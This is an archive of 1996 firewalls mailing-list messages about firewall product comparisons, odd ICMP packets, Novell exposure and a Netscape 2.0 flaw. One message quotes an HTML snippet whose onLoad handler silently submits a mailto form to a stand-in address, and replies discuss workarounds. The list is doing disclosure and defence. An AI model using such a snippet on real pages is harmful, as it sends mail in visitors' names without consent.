Date: Wed, 13 Mar 1996 13:03:54 -0500
From: Scott Bartram <scottb@iis.net>
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> 
> Hi all,
> 
> Data Communications has performed a very interesting comparison of a lot of
>  firewalls.
> Let's say that Raptor product was not the best. Far away.

You're operating with outdated information. DataComm's test was flawed and
in fact, they have a revised article in this week's issue.

I think you'll find that Raptor does slightly better in the second round ;-)

scott


From firewalls-owner  Wed Mar 13 10:34:11 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA27076 for firewalls-outgoing; Wed, 13 Mar 1996 09:52:38 -0800 (PST)
Received: from relay7.UU.NET (relay7.UU.NET [192.48.96.17]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id JAA27066 for <firewalls@GreatCircle.com>; Wed, 13 Mar 1996 09:52:31 -0800 (PST)
Received: from maestro.Maestro.COM by relay7.UU.NET with SMTP 
	id QQagwt20471; Wed, 13 Mar 1996 12:50:50 -0500 (EST)
Received: by maestro.Maestro.COM (4.1/MAESTRO-0.1/07-03-93)
	id AA15106; Wed, 13 Mar 96 12:38:03 EST
Date: Wed, 13 Mar 1996 12:38:03 -0500 (EST)
From: Sick Puppy <sikpuppy@maestro.com>
To: firewalls@GreatCircle.com
Subject: Dawg Confesses: I did Princess Dianna.
Message-Id: <Pine.SUN.3.91.960313122425.14887A-100000@maestro.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Naah.  The subject line is just another lie to help sell newspapers.

In the course of general sniffing about I occasionally see ICMP packets 
with an IP address of 0.0.0.0 going across the network.  Most machines 
seem to ignore these packets, but some machines that seem to be in some 
kind of cluster respond to them as if they had been pinged.  The firewalls 
these packets hit simply seem to discard the packets.

What are these packets?  Sorry if this is a dumb question.
                                    
                                    SP, tCED
                                    Photonic & Tachyonic Systems Engineer

                 -=:( Deliciously abused by Char ):=-
         -=:(  How could anything that feels so good be so wrong ):=-



From firewalls-owner  Wed Mar 13 10:50:48 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA22222 for firewalls-outgoing; Wed, 13 Mar 1996 08:39:00 -0800 (PST)
Received: from commons.cmold.com (commons.baka.com [204.255.183.49]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA22215 for <firewalls@GreatCircle.COM>; Wed, 13 Mar 1996 08:38:53 -0800 (PST)
Received: (from Uactech@localhost) by commons.cmold.com (8.6.12/8.6.12) with UUCP id MAA19947 for firewalls@GreatCircle.COM; Wed, 13 Mar 1996 12:10:22 -0500
Received: from ithaca.actech.com (ithaca [198.41.4.11]) by spencer.actech.com (8.7.1/8.7.1) with SMTP id LAA07074 for <firewalls@GreatCircle.COM>; Wed, 13 Mar 1996 11:35:18 -0500 (EST)
Received: from ovid by ithaca.actech.com (920330.SGI/SMI-4.0)
	id AA17722; Wed, 13 Mar 96 11:35:16 -0500
Received: by ovid.actech.com (5.x/SMI-SVR4)
	id AA27378; Wed, 13 Mar 1996 11:35:14 -0500
Received: from Messages.8.5.N.CUILIB.3.45.SNAP.NOT.LINKED.ovid.sun4.51
          via MS.5.6.ovid.sun4_51;
          Wed, 13 Mar 1996 11:35:13 -0500 (EST)
Message-Id: <UlFjZ1j6_EEC0=J3k0@ovid>
Date: Wed, 13 Mar 1996 11:35:13 -0500 (EST)
From: Steve Gaarder <gaarder@actech.com>
To: firewalls@GreatCircle.COM
Subject: Re: Netscape2.0 sends mail to the world without authority (fwd)
In-Reply-To: <Pine.LNX.3.91.960313081725.2464A-100000@mojave.dnsppp.net>
References: <Pine.LNX.3.91.960313081725.2464A-100000@mojave.dnsppp.net>
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Excerpts from lists.firewalls: 13-Mar-96 RE: Netscape2.0 sends mail ..
System Administrator@dns (610*)

> A temporary fix (read: kludge) would be to change your identity in Navigator 
> to something like

> Options/Mail&News/Identity/YourName:  *** THIS MAIL IS NOT AUTHORIZED ****

More effective: change the SMTP server in the preferences to a
non-existent machine or one that is not running SMTP.

> Of course, if you are relying upon Navigator for email, then you don't
> have this as an option.

still true.

Steven Gaarder                              Network and Systems Administrator
gaarder@actech.com                          A C Technology, Ithaca, N.Y., USA




From firewalls-owner  Wed Mar 13 11:14:37 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id KAA00407 for firewalls-outgoing; Wed, 13 Mar 1996 10:52:12 -0800 (PST)
Received: from sun.aitc.rest.tasc.com (sun.aitc.rest.tasc.com [147.81.50.129]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id KAA00394 for <firewalls@GreatCircle.COM>; Wed, 13 Mar 1996 10:52:03 -0800 (PST)
Received: from iwdc1.office.rest.tasc.com by sun.aitc.rest.tasc.com (NX5.67e/NX3.0M-TASCnet-003)
	id AA07559; Wed, 13 Mar 96 13:26:09 -0600
Received: by iwdc1.office.rest.tasc.com (4.1/SMI-4.1)
	id AA19190; Wed, 13 Mar 96 13:47:22 EST
Date: Wed, 13 Mar 96 13:47:22 EST
From: rebowes@tasc.com (Bob Bowes)
Message-Id: <9603131847.AA19190@iwdc1.office.rest.tasc.com>
To: firewalls@GreatCircle.COM, marie@XAIT.Xerox.COM
Subject: Re: Raptor Product
Cc: marie@Harmony.XAIT.Xerox.COM
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


> 
> Hello,
> Does anyone know where information is available for 
> Raptor? I would like to learn about the product, it's
> functionality, cost, etc.  How does it compete with
> other firewall software?
> 
> Thanks Much,
> Marie
> 

http://www.raptor.com/

From firewalls-owner  Wed Mar 13 11:18:05 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id KAA29760 for firewalls-outgoing; Wed, 13 Mar 1996 10:42:54 -0800 (PST)
Received: from www.steldyn.com (www.steldyn.com [198.68.45.121]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id KAA29746 for <firewalls@GreatCircle.COM>; Wed, 13 Mar 1996 10:42:46 -0800 (PST)
Received: by www.steldyn.com with Microsoft Exchange (IMC 4.12.736)
	id <01BB10D2.732769C0@www.steldyn.com>; Wed, 13 Mar 1996 11:44:34 -0700
Message-ID: <c=US%a=_%p=Stellar_Dynamics%l=JUNEAU960313114034AR005600@www.steldyn.com>
From: Chris Pugrud <ChrisP@steldyn.com>
To: "firewalls@GreatCircle.COM" <firewalls@GreatCircle.COM>,
        "'marie@XAIT.Xerox.COM'" <marie@XAIT.Xerox.COM>
Subject: RE: Raptor Product
Date: Wed, 13 Mar 1996 11:40:33 -0700
X-Mailer:  Microsoft Exchange Server Internet Mail Connector Version 4.12.736
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="---- =_NextPart_000_01BB10D2.7353A9E0"
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.  Contact your
mail administrator for information about upgrading your reader to a version
that supports MIME.

------ =_NextPart_000_01BB10D2.7353A9E0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

Raptor is located at http://www.raptor.com

*********************************************************
Chris Pugrud     Network Engineering     Stellar Dynamics     Idaho Power
chrisp@steldyn.com     208-368-6818
Information Security is a process, Not a solution
*********************************************************

>----------
>From: 	marie@XAIT.Xerox.COM[SMTP:marie@XAIT.Xerox.COM]
>Sent: 	Wednesday, March 13, 1996 8:10 AM
>To: 	firewalls@GreatCircle.COM
>Cc: 	marie@Harmony.XAIT.Xerox.COM
>Subject: 	Raptor Product
>
>Hello,
>Does anyone know where information is available for 
>Raptor? I would like to learn about the product, it's
>functionality, cost, etc.  How does it compete with
>other firewall software?
>
>Thanks Much,
>Marie
>

------ =_NextPart_000_01BB10D2.7353A9E0--

From firewalls-owner  Wed Mar 13 11:23:06 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA23483 for firewalls-outgoing; Wed, 13 Mar 1996 08:51:09 -0800 (PST)
Received: from relay.ashton.csc.com (relay.ashton.csc.com [20.2.54.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA23478 for <firewalls@greatcircle.com>; Wed, 13 Mar 1996 08:51:05 -0800 (PST)
Received: by relay.ashton.csc.com; id LAA04416; Wed, 13 Mar 1996 11:54:12 -0500
Received: from unknown(20.2.2.46) by relay.ashton.csc.com via smap (g3.0.1)
	id sma004414; Wed, 13 Mar 96 11:54:02 -0500
Received: by batman.ashton.csc.com with Microsoft Mail
	id <01BB10D3.6E69EC40@batman.ashton.csc.com>; Wed, 13 Mar 1996 11:51:35 -0500
Message-ID: <01BB10D3.6E69EC40@batman.ashton.csc.com>
From: Chris Kostick <ckostick@csc.com>
To: "'Madhu Muchalambkar'" <madhu@telenet.com>
Cc: "'firewalls@greatcircle.com'" <firewalls@greatcircle.com>
Subject: RE: Sunscreen experiences
Date: Wed, 13 Mar 1996 11:51:33 -0500
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


> Does anyone have any good/bad exp with the Sunscreen SPF 100/110 product?
> I have looked at the firewall comparison chart, but could not find anything
> for or against it.

I've used it and it's alright. The first item that threw me was
the fact it functions as a transparent bridge rather than a
router/gateway. The problem is their documentation is so 
piss poor about this setup it was a 'treat' setting it up.
Basically, sunscreen wants to be configured as such


--- Inside Net (1.1.1.0) -- <SunScreen> ---- Outside Net (1.1.1.0) --
					  |
					  |
				  Mgt Station

Notice the Inside and Outside networks have the same address -- i.e.
a transparent bridge. Now when I looked at the diagram (in the installation
documentation) for the first time I thought, "great it's like every other
firewall on the market. An outside network and an inside network with
*different addresses*." Wrong. I don't know, maybe I didn't read it close
enough, but it certainly didn't jump out at me. After this though it was easy
and worked like a champ.

I can't say I like the fact it is totally a blackbox. And seeing a
Windows 3.11 machine stamped with SUN on the side of it threw me.
I like to be able to see what's going on with the machine and, as
a manager, interrogate it any way I please. You don't have that
option with sunscreen.

--
Chris Kostick
ckostick@csc.com



From firewalls-owner  Wed Mar 13 11:30:48 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA22113 for firewalls-outgoing; Wed, 13 Mar 1996 08:37:36 -0800 (PST)
Received: from hauki.clinet.fi (hauki.clinet.fi [194.100.0.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id IAA22099 for <firewalls@GreatCircle.COM>; Wed, 13 Mar 1996 08:37:29 -0800 (PST)
Received: from cantina.clinet.fi (root@cantina.clinet.fi [194.100.0.15]) by hauki.clinet.fi (8.7.3/8.6.4) with ESMTP id SAA12199; Wed, 13 Mar 1996 18:35:27 +0200 (EET)
Received: (tim@localhost) by cantina.clinet.fi (8.7.3/8.6.4) id SAA09634; Wed, 13 Mar 1996 18:35:26 +0200 (EET)
Date: Wed, 13 Mar 1996 18:35:26 +0200 (EET)
Message-Id: <199603131635.SAA09634@cantina.clinet.fi>
From: Tim Linnanvirta <tim@clinet.fi>
To: firewalls@GreatCircle.COM
Subject: RE: BoS: Netscape2.0 sends mail to the world without authority
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk



> I noticed, while loading a web page, that there was a mailto: URL active
> (using the "Easter Egg" Ctrl-Alt-T popup to see active URLs).  Sure enough,
> after I cancelled that and examined the source, I saw something like this:
> 
> <body onLoad="document.mailme.submit()">
> <form method=post name="mailme" 
> action="mailto:nasty@secret.org?subject=gotcha">
> <input type=hidden name="hi" value="there">
> </form>
> 
> A quick test on my local machine shows that this will send a message to
> nasty@secret.org with the subject gotcha and the body "hi=there".


	I tested this on SunOS 4.1.3, and it sure works: the Netscape
	onLoad function will send mail using your account name and
	without asking for confirmation or even informing you.

	I looked at the Netscape binary with od -s and emacs. The
	string "onload" (all lower case) occurs 2 times on itself,
	between null characters.  When I patched it, changing the
	first occurrence to "onxxad", the resulting binary did not any
	more obey the "onLoad" directive and did not obey the "onxxad"
	directive either.  When I changed both occurrences of "onload"
	to "onxxoad", the resulting binary did not obey the "onLoad"
	directive, but it did obey the "onxxad" directive.

	Note that the Netscape license agreement forbids you to :

	"... * modify, translate, reverse engineer, decompile, disassemble
	       (except to the extent applicable laws specifically prohibit such
	       restriction), or create derivative works based on the Software; ..."

	So if you patch Netscape to prevent it forging your mail,  you 
	might be breaking the license.  And of course this kind of binary
	patching may easily break something else.  At least it will break
	any WWW pages which use the onLoad directive for some other,
	more legitimate purpose.

	So do not do it unless you know exactly what you are doing,
	and do not blame me if it does not work or leads to a disaster!

	If you are really concerned about this thing,  consider sending 
	e-mail to Netscape Communications Corporation,  explaining to them 
	the reasons why you think Netscape should not send mail using your
	machine, address and account without asking for confirmation.

		- Tim


From firewalls-owner  Wed Mar 13 11:40:09 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA27244 for firewalls-outgoing; Wed, 13 Mar 1996 09:57:03 -0800 (PST)
Received: from hnc.hnc.com (hnc.hnc.com [206.79.10.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id JAA27239 for <firewalls@greatcircle.com>; Wed, 13 Mar 1996 09:56:58 -0800 (PST)
Received: (from uucp@localhost) by hnc.hnc.com (8.7.1/8.7.1) id JAA15394 for <firewalls@greatcircle.com>; Wed, 13 Mar 1996 09:49:37 -0800 (PST)
Received: from serval.hnc.com(206.79.54.2) by hnc.hnc.com via smap (V1.3)
	id sma015389; Wed Mar 13 09:49:11 1996
Received: from spike.hnc.com (spike.hnc.com [191.9.201.52]) by serval.hnc.com (8.7.1/8.7.1) with ESMTP id JAA07354 for <firewalls@greatcircle.com>; Wed, 13 Mar 1996 09:48:51 -0800 (PST)
Received: from fred.hnc.com (fred.hnc.com [191.9.204.7]) by spike.hnc.com (8.7.1/8.7.1) with SMTP id JAA12908 for <firewalls@greatcircle.com>; Wed, 13 Mar 1996 09:56:50 -0800 (PST)
Message-Id: <199603131756.JAA12908@spike.hnc.com>
Received: from pcdwl.hnc.com by fred.hnc.com with SMTP
	(1.38.193.4/16.2) id AA19967; Wed, 13 Mar 1996 10:03:56 -0800
X-Sender: dwl@spike
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Wed, 13 Mar 1996 09:59:27 -0800
To: firewalls@greatcircle.com
From: David Loysen <dwl@hnc.com>
Subject: RE: Netscape2.0 sends mail to the world without authority (fwd)
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

At 08:25 AM 3/13/96 -0500, you wrote:
>On Tue, 12 Mar 1996, Alex "Achmed" McCubbin wrote:
>> 
>> This is insidious; it means that E-mail messages, purportedly from me (and
>> all traces will show they really are from me) can be sent anywhere, without
>> my knowledge, with contents that I do not approve.  Further, it means that 
>
>A temporary fix (read: kludge) would be to change your identity in Navigator 
>to something like
>
>Options/Mail&News/Identity/YourName:  *** THIS MAIL IS NOT AUTHORIZED ****
>
>Of course, if you are relying upon Navigator for email, then you don't
>have this as an option.
>
 Maybe I'm getting paranoid but I keep Netscape completely ignorant of my
E-Mail setup. It doesn't know who I am or what mail server I use. When I see
one of those little mailto links that I actually want to respond to I copy
the address and then paste it into Eudora. Again if you use Navigator for
E-Mail you can't do this, but since Eudora is free how stuck on using
Navigator can you be?


>My .02 worth,  :)
>
>Niles Mills
>--
>admin@dnsppp.net
>
>
>
dwl@hnc.com		
David Loysen		
x245		
			


From firewalls-owner  Wed Mar 13 11:52:42 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id KAA28355 for firewalls-outgoing; Wed, 13 Mar 1996 10:20:33 -0800 (PST)
Received: from access5.digex.net (access5.digex.net [205.197.245.196]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id KAA28347 for <firewalls@GreatCircle.COM>; Wed, 13 Mar 1996 10:20:29 -0800 (PST)
Received: (from sigurd@localhost) by access5.digex.net (8.6.12/8.6.12) id NAA28869 ; for ; Wed, 13 Mar 1996 13:16:12 -0500
Date: Wed, 13 Mar 1996 13:16:11 -0500 (EST)
From: sigurd <sigurd@access.digex.net>
To: Marie Reale <marie@XAIT.Xerox.COM>
cc: firewalls@GreatCircle.COM, marie@Harmony.XAIT.Xerox.COM
Subject: Re: Raptor Product
In-Reply-To: <9603131510.AA00760@XAIT.Xerox.COM>
Message-ID: <Pine.SUN.3.91.960313131233.28677A-100000@access5.digex.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


Raptor is one of the best on the market in my opinion. It is a software 
level firwall that has a gui or graphical user interface. Also, they have 
the ability to manage this from remote. Indeed, this is an excellent 
alternative to packet filtering. 

There is also a way to create a VPN or Virtual Private Network. This is 
the best I have seent and a great alternative to Firewall1 and Gauntlet.

http://www.raptor.com


On Wed, 13 Mar 1996, Marie Reale wrote:

> Hello,
> Does anyone know where information is available for 
> Raptor? I would like to learn about the product, it's
> functionality, cost, etc.  How does it compete with
> other firewall software?
> 
> Thanks Much,
> Marie
> 

                            |##
                            |
                            |
                       [_[] []_[]_]
                        |        |
                        |        |
      {------}          |   0    |          {------}
       |    |           |        |           |    |
       |    |_[]_[]_[] _|  ####  |_ []_[]_[]_|    |
       |  # | # # # # # |  ####  | # # # # # | #  |
       |  # | # # # # # |  ####  | # # # # # | #  |
       |  # | # # # # # |  / \   | # # # # # | #  |
       |  # | # # # # # |  | |   | # # # # # | #  |
       --------------------------------------------
          Jason Lamar  sigurd@access.digex.net
       ---------------------------------------------
           http://www.access.digex.net/~sigurd
       ----------------------------------------------


From firewalls-owner  Wed Mar 13 12:08:50 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id KAA28623 for firewalls-outgoing; Wed, 13 Mar 1996 10:24:22 -0800 (PST)
Received: from access5.digex.net (access5.digex.net [205.197.245.196]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id KAA28599 for <firewalls@GreatCircle.COM>; Wed, 13 Mar 1996 10:24:13 -0800 (PST)
Received: (from sigurd@localhost) by access5.digex.net (8.6.12/8.6.12) id NAA29089 ; for ; Wed, 13 Mar 1996 13:22:20 -0500
Date: Wed, 13 Mar 1996 13:22:17 -0500 (EST)
From: sigurd <sigurd@access.digex.net>
To: Philippe Cayphas <pc@godel2.bim.be>
cc: marie@XAIT.Xerox.COM, firewalls@GreatCircle.COM
Subject: Re: Raptor Product and other comparison of firewalls
In-Reply-To: <9603131544.AA00594@galileo.mumath>
Message-ID: <Pine.SUN.3.91.960313132041.28677C-100000@access5.digex.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


IN terms of throughput you may be right, but in my opinion the Eagle is 
smarter than other firewalls and has added functionality where others 
fail. Perhaps this is not in terms of raw power though.


On Wed, 13 Mar 1996, Philippe Cayphas wrote:

> 
> Hi all,
> 
> Data Communications has performed a very interesting comparison of a lot of
>  firewalls.
> Let's say that Raptor product was not the best. Far away.
> 
> Top performers were :
> 1) Checkpoint's Firewalls-1
> 2) Haris Cyberguard
> 3) TIS Gauntlet
> 
> This study can be found at :
> http://www.data.com/Lab_Tests/Firewalls.html
> 
> Philippe
> --
> 	Ph. Cayphas
> 	Senior Engineer
> 
> 
> E-Mail: pc@bim.be
> 
> Telephone: +32(10)47.08.32	Fax : +32(10)47.08.11
> 
> Postal Mail :
> 	Ph. Cayphas
> 	BIM sa
> 	4, Av. Albert Einstein
> 	1348 Louvain-La-Neuve
> 	Belgium
> 

                            |##
                            |
                            |
                       [_[] []_[]_]
                        |        |
                        |        |
      {------}          |   0    |          {------}
       |    |           |        |           |    |
       |    |_[]_[]_[] _|  ####  |_ []_[]_[]_|    |
       |  # | # # # # # |  ####  | # # # # # | #  |
       |  # | # # # # # |  ####  | # # # # # | #  |
       |  # | # # # # # |  / \   | # # # # # | #  |
       |  # | # # # # # |  | |   | # # # # # | #  |
       --------------------------------------------
          Jason Lamar  sigurd@access.digex.net
       ---------------------------------------------
           http://www.access.digex.net/~sigurd
       ----------------------------------------------


From firewalls-owner  Wed Mar 13 12:13:01 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id KAA28492 for firewalls-outgoing; Wed, 13 Mar 1996 10:22:14 -0800 (PST)
Received: from notes.cti.ca (compucentre.com [204.191.35.68]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id KAA28464 for <firewalls@greatcircle.com>; Wed, 13 Mar 1996 10:22:04 -0800 (PST)
Received: by notes.cti.ca (IBM OS/2 SENDMAIL VERSION 1.3.2)/1.41)
	  id AA0241; Wed, 13 Mar 96 13:13:37 -0800
Message-Id: <9603132113.AA0241@notes.cti.ca>
Received: from CompucentreToronto with "Lotus Notes Mail Gateway for SMTP"
  id FD3D28A4D0F6F470852562EC00612CE4; Wed, 13 Mar 96 13:13:36 
To: firewalls <firewalls@greatcircle.com>
From: Steve Benesko/CTI
  <Steve_Benesko@cti.ca>
Date: 13 Mar 96 13:12:08 EDT
Subject: RE: Borderguard
Mime-Version: 1.0
Content-Type: Text/Plain
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

>Being one of the Canadian Reps, I'm interested in how you got that bad 
>taste in your mouth.

The bad taste I was referring to was actually my abject paranoia speaking, as 
your staff (helpful as could possibly be expected) has had nothing but 
wonderful thing to say about this product.   This brings up the "too good to be 
true" alerts in the back of my head.

What I am looking for is an UNBIASED opinion from people who are actually using 
this product.


>If you are looking for:
> - Packet filtering (high speed), yet somewhat limited firewalling

What are the limitations to "somewhat limited firewalling"

> - Integrated military grade cryptography (None of this pansy Firewall to 
>Firewall DES stuff).  We support DES,3xDEC, IDEA, NSC1, Diffie Hellman, >RSA 
Authentication (512, 1024, etc.).

Does that apply to the export version as well?  Do you have people that can 
handle the legal paperwork of exporting cryptography?

> - Fault TOLERANT cryptography (What this means is you can define 
>primary and secondary crypto termination points) Lets see everyone's 
>response to that.

Explain...

> - Integrated 4:1 compression (throw in to deal with the crypto overhead)

Is that Stac compression or a proprietary compression scheme?

> - The world's only automated intrusion detection and response software 
>NETSTALKER (it does cost more)

Seen it....
System requirements are a bit high don't you think (Sun Sparc really necessary 
for a firewall monitoring station?)

> - Network Address translation

Oh, really???
That's not what I've heard...
I was under the impression that translation was not supported on these 
beasites...

> - The need to support ALL PROTOCOLS across a VPN

Do you support the protocols directly, or do you tunnel them through IP (or the 
best scenario both) 

> - Product scalability to over 1 MILLION packets per second

What's the processor architecture?

> - A router any way because you need to terminate the serial line somehow.

I've heard that it is not a good idea to use this as a router, but to get an 
external device to handle routing.   What's your spin on this?

>Our approach is to position the Borderguard (and our other products - 
>Security Router Best of Interop) as one of the pieces in your security 
>solution. 

8< snip

>If you can get a product  that provides native LAN speed service, with 
>integrated cryptography (Read: REAL STUFF), compression and 
>INTRUSION DETECTION/AUDIT for $ 3,225.00 Canadian - great.  The 
>market is responding.

That brings me back to my first question...  If this thing is so wonderful, 
then how (not why) can you market it for next to nothing??
I understand the why rational of wanting to corner the firewall market by 
making inexpensive firewalls, but this is a COMMON QUESTION that people come to 
me on.
I just want to know what enables you to price this so low...

>Security is not something you can buy, it's something you do.

Cute...
I'll have to remember that one...


From firewalls-owner  Wed Mar 13 12:35:37 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id MAA05375 for firewalls-outgoing; Wed, 13 Mar 1996 12:07:58 -0800 (PST)
Received: from notes.cti.ca (compucentre.com [204.191.35.68]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id MAA05351 for <firewalls@greatcircle.com>; Wed, 13 Mar 1996 12:07:35 -0800 (PST)
Received: by notes.cti.ca (IBM OS/2 SENDMAIL VERSION 1.3.2)/1.41)
	  id AA0383; Wed, 13 Mar 96 14:58:54 -0800
Message-Id: <9603132258.AA0383@notes.cti.ca>
Received: from CompucentreToronto with "Lotus Notes Mail Gateway for SMTP"
  id E2B12109CD3CF609852562EC006D8F60; Wed, 13 Mar 96 14:58:53 
To: firewalls <firewalls@greatcircle.com>
From: Steve Benesko/CTI
  <Steve_Benesko@cti.ca>
Date: 13 Mar 96 14:56:40 EDT
Subject: Re: IP/IPX gateways
Mime-Version: 1.0
Content-Type: Text/Plain
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

All this discussion of IP/IPX gateways and Novell servers makes me wonder just 
what the zones of risk are on Novell Servers that are attached to the internet.

For instance, a few sites that I have configured use Quarterdeck's Iware 
Connect (similar to internet junction).  With Iware, Netware IP has to be 
enabled on at least 1 Netware server. Now with NO TCPIP services installed 
(such as Telnet, FTP, etc.) what could the zones of risk possibly be for 
NetWare?


From firewalls-owner  Wed Mar 13 13:06:04 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id MAA05456 for firewalls-outgoing; Wed, 13 Mar 1996 12:09:45 -0800 (PST)
Received: from notes.cti.ca (compucentre.com [204.191.35.68]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id MAA05437 for <firewalls@greatcircle.com>; Wed, 13 Mar 1996 12:09:14 -0800 (PST)
Received: by notes.cti.ca (IBM OS/2 SENDMAIL VERSION 1.3.2)/1.41)
	  id AA0386; Wed, 13 Mar 96 14:59:34 -0800
Message-Id: <9603132259.AA0386@notes.cti.ca>
Received: from CompucentreToronto with "Lotus Notes Mail Gateway for SMTP"
  id 00E57B28C56F7C13852562EC006D0FDB; Wed, 13 Mar 96 14:59:33 
To: firewalls <firewalls@greatcircle.com>
From: Steve Benesko/CTI
  <Steve_Benesko@cti.ca>
Date: 13 Mar 96 14:56:14 EDT
Subject: Re: IP/IPX gateways
Mime-Version: 1.0
Content-Type: Text/Plain
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

All this discussion of IP/IPX gateways and novell servers makes me wonder just 
what the zones of risk are on Novell Servers that are attached to the internet.

For instance, a few sites that I have configured use Quarterdeck's Iware 
Connect (similar to internet junction).  With Iware, Netware IP has to be 
enabled on at least 1 Netware server. Now with NO TCPIP services installed 
(such as telnet, ftp, etc.) what could the zones of risk possibly be for 
netware?


From firewalls-owner  Wed Mar 13 13:18:06 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id MAA05890 for firewalls-outgoing; Wed, 13 Mar 1996 12:18:07 -0800 (PST)
Received: from relay.ashton.csc.com (relay.ashton.csc.com [20.2.54.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id MAA05883 for <firewalls@GreatCircle.COM>; Wed, 13 Mar 1996 12:18:03 -0800 (PST)
Received: by relay.ashton.csc.com; id PAA04929; Wed, 13 Mar 1996 15:21:12 -0500
Received: from unknown(20.2.2.46) by relay.ashton.csc.com via smap (g3.0.1)
	id sma004927; Wed, 13 Mar 96 15:21:11 -0500
Received: by batman.ashton.csc.com with Microsoft Mail
	id <01BB10F0.5DADFE60@batman.ashton.csc.com>; Wed, 13 Mar 1996 15:18:43 -0500
Message-ID: <01BB10F0.5DADFE60@batman.ashton.csc.com>
From: Chris Kostick <ckostick@csc.com>
To: "marie@XAIT.Xerox.COM" <marie@XAIT.Xerox.COM>,
        "'Philippe Cayphas'"
	 <pc@godel2.bim.be>
Cc: "firewalls@GreatCircle.COM" <firewalls@GreatCircle.COM>
Subject: RE: Raptor Product and other comparison of firewalls
Date: Wed, 13 Mar 1996 15:18:41 -0500
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> Data Communications has performed a very interesting comparison of a lot of
>  firewalls.
> Let's say that Raptor product was not the best. Far away.

> Top performers were :
> 1) Checkpoint's Firewalls-1
> 2) Haris Cyberguard
> 3) TIS Gauntlet

> This study can be found at :
> http://www.data.com/Lab_Tests/Firewalls.html

Data Comm printed a follow-up in their latest issue indicating
that Raptor had fixed the bug that was causing the performance
problem. They retested and ended up out-performing everyone else.

--
chris


From firewalls-owner  Wed Mar 13 13:35:37 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id MAA06085 for firewalls-outgoing; Wed, 13 Mar 1996 12:21:49 -0800 (PST)
Received: from gatekeeper.alcatel.com.au (gatekeeper.alcatel.com.au [203.17.66.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id MAA06047 for <firewalls@GreatCircle.COM>; Wed, 13 Mar 1996 12:21:14 -0800 (PST)
Received: from 139.188.22.50 (139.188.22.50) by gatekeeper.alcatel.com.au
 (PMDF V5.0-5 #11861) id <01I2BJLDZHMO0002P1@gatekeeper.alcatel.com.au> for
 firewalls@GreatCircle.COM; Thu, 14 Mar 1996 07:15:18 +1000
Received: from gsms01.alcatel.com.au (gsms01.alcatel.com.au)
 by cbd.alcatel.com.au (PMDF V5.0-5 #9241)
 id <01I2BJMNLTV48WWC6Z@cbd.alcatel.com.au> for firewalls@GreatCircle.COM; Thu,
 14 Mar 1996 07:16:20 +1100
Received: (from jeremyp@localhost) by gsms01.alcatel.com.au (8.6.12/8.6.12)
 id HAA12710 for firewalls@GreatCircle.COM; Thu, 14 Mar 1996 07:18:34 +1100
Date: Thu, 14 Mar 1996 07:18:34 +1100
From: Peter Jeremy <jeremyp@gsms01.alcatel.com.au>
Subject: Re: Security of Networked Workstations with dial-up PPP Internet!!!
To: firewalls@GreatCircle.COM
Message-id: <199603132018.HAA12710@gsms01.alcatel.com.au>
Content-transfer-encoding: 7BIT
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

